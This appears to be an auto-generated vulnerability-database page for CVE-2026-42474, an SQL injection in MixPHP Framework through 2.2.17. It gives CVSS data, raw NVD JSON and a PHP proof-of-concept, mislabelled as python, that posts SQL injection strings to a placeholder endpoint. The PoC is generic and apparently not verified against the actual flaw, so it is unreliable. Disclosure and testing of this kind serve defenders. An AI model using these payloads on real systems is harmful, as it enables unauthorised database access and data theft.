Security Vulnerability Report
中文
CVE-2026-42474 CVSS 6.5 MEDIUM

CVE-2026-42474

Published: 2026-05-01 16:16:32
Last Modified: 2026-05-05 19:39:59

Description

SQL injection vulnerability in MixPHP Framework 2.x thru 2.2.17 via crafted `data` array to the data function in BuildHelper.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MixPHP Framework 2.x
MixPHP Framework <= 2.2.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PoC for CVE-2026-42474: MixPHP Framework SQL Injection // Vulnerability: BuildHelper.php data function // Impact: Remote attackers can execute arbitrary SQL queries via crafted array $targetUrl = "http://example.com/api/vulnerable_action"; // Crafted payload to trigger SQL Injection // The vulnerability occurs when the 'data' array is passed without sanitization $maliciousData = [ 'username' => "admin' OR '1'='1", // Basic injection test 'id' => "1 UNION SELECT 1,2,3,4--" // Union based injection test ]; // Simulate the request payload $postData = [ 'data' => $maliciousData ]; // Use cURL to send the request $ch = curl_init($targetUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); $response = curl_exec($ch); curl_close($ch); // Analyze response to confirm injection if (strpos($response, 'error') !== false || strpos($response, 'sql') !== false) { echo "Potential SQL Injection detected.\n"; } else { echo "Request sent.\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42474", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:31.813", "lastModified": "2026-05-05T19:39:58.510", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in MixPHP Framework 2.x thru 2.2.17 via crafted `data` array to the data function in BuildHelper.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://gist.github.com/sgInnora/fa46386840fe978a30d7e53c458f2975", "source": "[email protected]"}, {"url": "https://github.com/mix-php/mix", "source": "[email protected]"}, {"url": "https://github.com/mix-php/mix/blob/v2.2.17/src/database/src/Helper/BuildHelper.php", "source": "[email protected]"}]}}